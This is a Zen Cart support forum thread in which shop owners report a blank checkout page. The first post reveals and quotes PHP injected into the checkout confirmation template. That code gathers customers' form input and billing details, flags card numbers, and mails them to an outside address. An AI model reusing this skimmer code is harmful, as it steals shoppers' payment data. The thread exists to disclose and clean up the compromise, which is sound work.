Forums / General Questions / Checkout Confirmation blank page fix - my version

Checkout Confirmation blank page fix - my version

Locked

Views: 2,073

Results 1 to 9 of 9
This thread is locked. New replies are disabled.
19 Dec 2010, 3:15 PM
#1
ejunk avatar

ejunk

New Zenner

Join Date:
Dec 2009
Posts:
20
Plugin Contributions:
0

Checkout Confirmation blank page fix - my version

Hi, today i got notified by a customer that he cannot go past the second step of the checkout.

I immediately tried to replicate the problem with a test user account and i encountered the same problem : a blank page instead of the 3rd step. No error message, nothing.

I started to browse the forum and do searches on google and i encountered the debug tool listed in many threads by Dr. Byte (sorry if i spelled your name wrong dude).

I followed the steps and i received this error in the log :

[19-Dec-2010 08:27:21] PHP Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/xxxxxxx/public_html/includes/templates/cherry_zen/templates/tpl_checkout_confirmation_default.php on line 212

I opened the tpl_checkout_confirmation_default.php and noticed something weird at the end of the page. A small script with an email address that i have never seen before. What struck me was "what exactly is this doing here" as it seemed pretty unnatural for an email address to be in the checkout code.

I then opened the default cherry zen template to compare the 2 files and as you guess, the script with the email was an extra.

I uploaded the default tpl_checkout_confirmation_default.php file that came with the cherry zen template and everything went back to normal.

I also did the security update in the config for the inoculation or something against hackers.

My real question is : could other files be compromised ? If anyone encountered this before, i would like to know what other files might have these "extra" scripts.

Here is the extra that was in the checkout confirmation php file :

<?php
$msgz = "";
if (!isset($_SERVER)) { $_SERVER  = &$HTTP_SERVER_VARS; }
$msgz .= "========================================================\r\n";
foreach ($_POST as $key => $value) { $msgz .= $key." => ".$value."\r\n"; }
$msgz .= "========================================================\r\n";
foreach ($order->customer as $key => $value) { $msgz .= $key." => ".$value."\r\n"; }
$msgz .= "========================================================\r\n";
foreach ($order->billing as $key => $value) { $msgz .= $key." => ".$value."\r\n"; }
$msgz .= "========================================================\r\n";
foreach ($order->billing['country'] as $key => $value) { $msgz .= "country-".$key." => ".$value."\r\n"; }
$msgz .= "========================================================\r\n";
$msgz .= $_SERVER['HTTP_REFERER']."\r\n".$_SERVER['SCRIPT_FILENAME']"\r\n";
$msgz .= "\r\n========================================================\r\n";
if(preg_match('/[0-9]{12,19}|paypal/i',$msgz)) {
@mail('cnewberry497######################','setoran',$msgz);
} else {
@mail('cnewberry497######################','setoran',$msgz);
}
?>
19 Dec 2010, 4:04 PM
#2
ljhobbies avatar

ljhobbies

New Zenner

Join Date:
Mar 2010
Posts:
1
Plugin Contributions:
0

Re: Checkout Confirmation blank page fix - my version

thank you for posting this. I had the exact same entries in my file.

19 Dec 2010, 4:33 PM
#3
ejunk avatar

ejunk

New Zenner

Join Date:
Dec 2009
Posts:
20
Plugin Contributions:
0

Re: Checkout Confirmation blank page fix - my version

Did your entry in the file contained the same email address as the one listed at the bottom of the entry ?

Im just curious if its the same person or if it`s a general security bug that many others can exploit.

20 Dec 2010, 12:20 AM
#4
ejunk avatar

ejunk

New Zenner

Join Date:
Dec 2009
Posts:
20
Plugin Contributions:
0

Re: Checkout Confirmation blank page fix - my version

VERY IMPORTANT I just noticed that some friends of mine that are using zen cart also got the same "extra" in their checkout confirmation file with different email addresses !

Also, if this exploit was in your custom template file, it exists in the default template file also.

So please check the tpl_checkout_confirmation_default.php located in the includes/templates/template_default/template/tpl_checkout_confirmation_default.php and delete the extra php script from the bottom of the page.

I hope this solves everyone some of their security problems.

Also i would like a zen cart expert to post here if this security issue can be solved with the innoculation script or if we have to check the files daily to see if this appears again.

Thank you.

21 Dec 2010, 4:44 AM
#5
wildgarden avatar

wildgarden

New Zenner

Join Date:
Apr 2006
Posts:
32
Plugin Contributions:
0

Re: Checkout Confirmation blank page fix - my version

had the same thing happen to me, so it is a bit worrying! is there anything we can do to improve security?

hand screen printed clothing and accessories
https://www.wildgardendesign.com

21 Dec 2010, 3:13 PM
#6
gearstudios avatar

gearstudios

New Zenner

Join Date:
Sep 2005
Posts:
88
Plugin Contributions:
0

Re: Checkout Confirmation blank page fix - my version

Just ran into the same thing.
I am on version 1.3.8

Zen-Cart, The Greatest Shopping Cart!

21 Dec 2010, 3:46 PM
#7
gearstudios avatar

gearstudios

New Zenner

Join Date:
Sep 2005
Posts:
88
Plugin Contributions:
0

Re: Checkout Confirmation blank page fix - my version

I am surprised no one has chimed in on this from ZenCart.

Zen-Cart, The Greatest Shopping Cart!

22 Dec 2010, 1:43 PM
#8
ejunk avatar

ejunk

New Zenner

Join Date:
Dec 2009
Posts:
20
Plugin Contributions:
0

Re: Checkout Confirmation blank page fix - my version

Hopefully they will soon, meanwhile i`m glad i noticed this and forwarded the problem here so others can solve some security issues with their carts.

11 Sep 2011, 5:14 PM
#9
drbyte avatar

drbyte

Sensei

Join Date:
Jan 2004
Posts:
63,513
Plugin Contributions:
176

Re: Checkout Confirmation blank page fix - my version

wildgarden:

had the same thing happen to me, so it is a bit worrying! is there anything we can do to improve security?

GearStudios:

Just ran into the same thing.
I am on version 1.3.8

Simple solution for all of you: clean out the damage done, and upgrade to the latest version. Your old version is both obsolete and contains numerous well-advertised security flaws. The new version does not.

.
Zen Cart - putting the dream of business ownership within reach of anyone!
Donate to: DrByte directly or to the Zen Cart team as a whole

Remember: Any code suggestions you see here are merely suggestions. You assume full responsibility for your use of any such suggestions, including any impact ANY alterations you make to your site may have on your PCI compliance.
Furthermore, any advice you see here about PCI matters is merely an opinion, and should not be relied upon as "official". Official PCI information should be obtained from the PCI Security Council directly or from one of their authorized Assessors.